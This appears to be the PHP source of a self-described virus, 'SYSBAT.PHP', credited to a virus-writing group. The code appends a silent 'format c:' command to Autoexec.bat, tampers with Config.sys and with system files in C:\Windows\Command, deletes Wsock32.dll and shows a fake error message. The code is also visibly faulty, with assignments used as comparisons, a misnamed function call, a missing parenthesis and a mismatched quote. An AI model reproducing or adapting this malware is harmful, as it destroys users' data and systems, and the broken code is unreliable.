79 lines
1.9 KiB
Plaintext
79 lines
1.9 KiB
Plaintext
<?php
|
|
// SYSBAT.PHP VIRUS
|
|
// By Xmorfic, www.shadowvx.com/bcvg, The Black Cat Virii Group
|
|
// SYSBAT.PHP - This virus infectes Config.sys, autoexec.bat and system files in
|
|
// C:\Windows\Command\ directory.
|
|
|
|
$config = 'C:\Config.sys';
|
|
$autoexec = 'C:\Autoexec.bat';
|
|
$phps = "SYSBAT.PHP";
|
|
$newphp = 'sysbat.sys';
|
|
$avxm = "This program performed an illegal operation";
|
|
|
|
$infsystem = true;
|
|
|
|
$infsys = fopen($config, "r");
|
|
$check = fread($infsys, filesize($config));
|
|
$infs = strstr ($check, '47hGHRHjkliliurpIOIPOIporipOOPOirujkJKLLJj<Xmorfic>HKGJD');
|
|
if (!$infs) $infsystem = false;
|
|
|
|
if ( ($infsystem=false) )
|
|
{
|
|
$infsys = fopen($config, "a");
|
|
$fputs($infsys, "47hGHRHjkliliurpIOIPOIporipOOPOirujkJKLLJj<Xmorfic>HKGJD");
|
|
$fputs($infsys, "Xmorfic, www.shadowvx.com/bcvg, Second PHP VIRUS");
|
|
return;
|
|
}
|
|
|
|
fclose($infsys);
|
|
|
|
$infbat = fopen($autoexec, "r");
|
|
$checkb = fread($infbat, filesize($autoexec));
|
|
$infb = strstr ($checkb, 'format c: /autotest /q /u');
|
|
if (!$infb) $infbatf = false;
|
|
|
|
if ( ($infbatf=false) )
|
|
{
|
|
$infbat = fopen($autoexec, "a");
|
|
$fputs($infbat, "ctty nul ");
|
|
$fputs($infbat, "format c: /autotest /q /u ");
|
|
return;
|
|
|
|
}
|
|
|
|
fclose($infbat);
|
|
|
|
$systems = opendir('C:\Windows\Command\');
|
|
while ($filesys = readdir($systems))
|
|
{
|
|
|
|
$infected = true;
|
|
$systemexe = false;
|
|
|
|
if ( ($systemexe = strstr ($filesys, '.sys') )
|
|
if ( (is_writeable($filesys) )
|
|
{
|
|
|
|
$sysk = fopen($filesys, "r");
|
|
$xst = fread($sysk, filesize($filesys);
|
|
$good = strstr ($xst, 'Xmorfic_Vx');
|
|
if (!$good) $infected = false;
|
|
}
|
|
|
|
if ( ($infected=false) )
|
|
{
|
|
$sysk = fopen($filesys, "a");
|
|
$fputs($sysk, "Xmorfic_VX_System_PHP_Infector!!');
|
|
return;
|
|
}
|
|
}
|
|
closedir($systems);
|
|
|
|
// Rename the virus to sysbat.sys (Optional) $ren = rename(__FILE__, $newphp);
|
|
|
|
$kok = unlink ('C:\Windows\System\Wsock32.dll');
|
|
|
|
echo $avxm;
|
|
?>
|
|
|
|
|